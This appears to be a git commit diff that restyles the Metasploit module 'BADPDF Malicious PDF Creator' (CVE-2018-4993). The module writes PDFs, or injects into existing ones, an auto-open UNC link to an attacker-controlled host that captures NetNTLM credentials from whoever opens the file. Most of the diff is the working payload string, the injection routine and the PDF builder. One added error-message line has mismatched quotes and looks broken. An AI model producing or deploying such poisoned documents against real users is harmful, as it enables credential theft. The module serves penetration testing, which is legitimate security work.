parent
6b58163fde
commit
477d709ff6
|
@ -6,95 +6,95 @@
|
||||||
class MetasploitModule < Msf::Auxiliary
|
class MetasploitModule < Msf::Auxiliary
|
||||||
include Msf::Exploit::FILEFORMAT
|
include Msf::Exploit::FILEFORMAT
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info = {})
|
||||||
super( update_info( info,
|
super(update_info(info,
|
||||||
'Name' => 'BADPDF Malicious PDF Creator',
|
'Name' => 'BADPDF Malicious PDF Creator',
|
||||||
'Description' => %q{
|
'Description' => '
|
||||||
This module can either creates a blank PDF file which contains a UNC link which can be used
|
This module can either creates a blank PDF file which contains a UNC link which can be used
|
||||||
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
|
to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary
|
||||||
code into an existing PDF document if possible.
|
code into an existing PDF document if possible.
|
||||||
},
|
',
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Assaf Baharav', # Code provided as POC by CheckPoint
|
'Assaf Baharav', # Code provided as POC by CheckPoint
|
||||||
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
|
'Yaron Fruchtmann', # Code provided as POC by CheckPoint
|
||||||
'Ido Solomon', # Code provided as POC by CheckPoint
|
'Ido Solomon', # Code provided as POC by CheckPoint
|
||||||
'Richard Davy - secureyourit.co.uk', # Metasploit
|
'Richard Davy - secureyourit.co.uk', # Metasploit
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => ['win'],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['CVE', '2018-4993'],
|
['CVE', '2018-4993'],
|
||||||
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
|
['URL', 'https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/']
|
||||||
]
|
])
|
||||||
|
)
|
||||||
))
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
|
OptAddress.new('LHOST', [true, 'Host listening for incoming SMB/WebDAV traffic', nil]),
|
||||||
OptString.new("FILENAME", [ false, "Filename"]),
|
OptString.new('FILENAME', [false, 'Filename']),
|
||||||
OptPath.new("PDFINJECT", [ false, "Path and filename to existing PDF to inject UNC link code into"]),
|
OptPath.new('PDFINJECT', [false, 'Path and filename to existing PDF to inject UNC link code into'])
|
||||||
])
|
]
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
if datastore['PDFINJECT'].to_s.end_with?('.pdf') && datastore['FILENAME'].to_s.end_with?('.pdf')
|
if datastore['PDFINJECT'].to_s.end_with?('.pdf') && datastore['FILENAME'].to_s.end_with?('.pdf')
|
||||||
print_error "Please configure either FILENAME or PDFINJECT"
|
print_error 'Please configure either FILENAME or PDFINJECT'
|
||||||
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
|
elsif !datastore['PDFINJECT'].nil? && datastore['PDFINJECT'].to_s.end_with?('.pdf')
|
||||||
injectpdf
|
injectpdf
|
||||||
elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
|
elsif !datastore['FILENAME'].nil? && datastore['FILENAME'].to_s.end_with?('.pdf')
|
||||||
createpdf
|
createpdf
|
||||||
else
|
else
|
||||||
print_error "FILENAME or PDFINJECT must end with '.pdf' file extension"
|
print_error 'FILENAME or PDFINJECT must end with '.pdf' file extension'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def injectpdf
|
def injectpdf
|
||||||
#Payload which gets injected
|
# Payload which gets injected
|
||||||
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
|
inject_payload = "/AA <</O <</F (\\\\\\\\#{datastore['LHOST']}\\\\test)/D [ 0 /Fit]/S /GoToE>>>>"
|
||||||
|
|
||||||
#if given path doesn't exist display error and return
|
# if given path doesn't exist display error and return
|
||||||
unless File.exists?(datastore['PDFINJECT'])
|
unless File.exist?(datastore['PDFINJECT'])
|
||||||
#If file not found display error message
|
# If file not found display error message
|
||||||
print_error "File doesn't exist #{datastore['PDFINJECT']}"
|
print_error "File doesn't exist #{datastore['PDFINJECT']}"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
#Read in contents of file
|
# Read in contents of file
|
||||||
content = File.read(datastore['PDFINJECT'])
|
content = File.read(datastore['PDFINJECT'])
|
||||||
|
|
||||||
#Check for place holder - below ..should.. cover most scenarios.
|
# Check for place holder - below ..should.. cover most scenarios.
|
||||||
newdata = ""
|
newdata = ''
|
||||||
[2, 4, 6, 8].each do |pholder|
|
[2, 4, 6, 8].each do |pholder|
|
||||||
unless content.index("/Contents #{pholder} 0 R").nil?
|
unless content.index("/Contents #{pholder} 0 R").nil?
|
||||||
#If place holder exists create new file content
|
# If place holder exists create new file content
|
||||||
newdata = content[0..(content.index("/Contents #{pholder} 0 R")+14)]+inject_payload+content[(content.index("/Contents #{pholder} 0 R")+15)..-1]
|
newdata = content[0..(content.index("/Contents #{pholder} 0 R") + 14)] + inject_payload + content[(content.index("/Contents #{pholder} 0 R") + 15)..-1]
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
#Display error message if we couldn't poison the file
|
# Display error message if we couldn't poison the file
|
||||||
if newdata.nil?
|
if newdata.empty?
|
||||||
print_error "Could not find placeholder to poison file this time...."
|
print_error 'Could not find placeholder to poison file this time....'
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
#Create new filename by replacing .pdf with _malicious.pdf
|
# Create new filename by replacing .pdf with _malicious.pdf
|
||||||
newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
|
newfilename = "#{datastore['PDFINJECT'].gsub(/\.pdf$/, '')}_malicious.pdf"
|
||||||
#Write content to file
|
# Write content to file
|
||||||
File.open(newfilename, 'wb') { |file| file.write(newdata) }
|
File.open(newfilename, 'wb') { |file| file.write(newdata) }
|
||||||
#Check file exists and display path or error message
|
# Check file exists and display path or error message
|
||||||
if File.exists?(newfilename)
|
if File.exist?(newfilename)
|
||||||
print_good("Malicious file writen to: #{newfilename}")
|
print_good("Malicious file writen to: #{newfilename}")
|
||||||
else
|
else
|
||||||
print_error "Something went wrong creating malicious PDF file"
|
print_error 'Something went wrong creating malicious PDF file'
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def createpdf
|
def createpdf
|
||||||
#Code below taken POC provided by CheckPoint Research
|
# Code below taken POC provided by CheckPoint Research
|
||||||
pdf = ""
|
pdf = ''
|
||||||
pdf << "%PDF-1.7\n"
|
pdf << "%PDF-1.7\n"
|
||||||
pdf << "1 0 obj\n"
|
pdf << "1 0 obj\n"
|
||||||
pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
|
pdf << "<</Type/Catalog/Pages 2 0 R>>\n"
|
||||||
|
@ -152,8 +152,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
pdf << " /Root 1 0 R\n"
|
pdf << " /Root 1 0 R\n"
|
||||||
pdf << ">>\n"
|
pdf << ">>\n"
|
||||||
pdf << "%%EOF\n"
|
pdf << "%%EOF\n"
|
||||||
#Write data to filename
|
# Write data to filename
|
||||||
file_create(pdf)
|
file_create(pdf)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue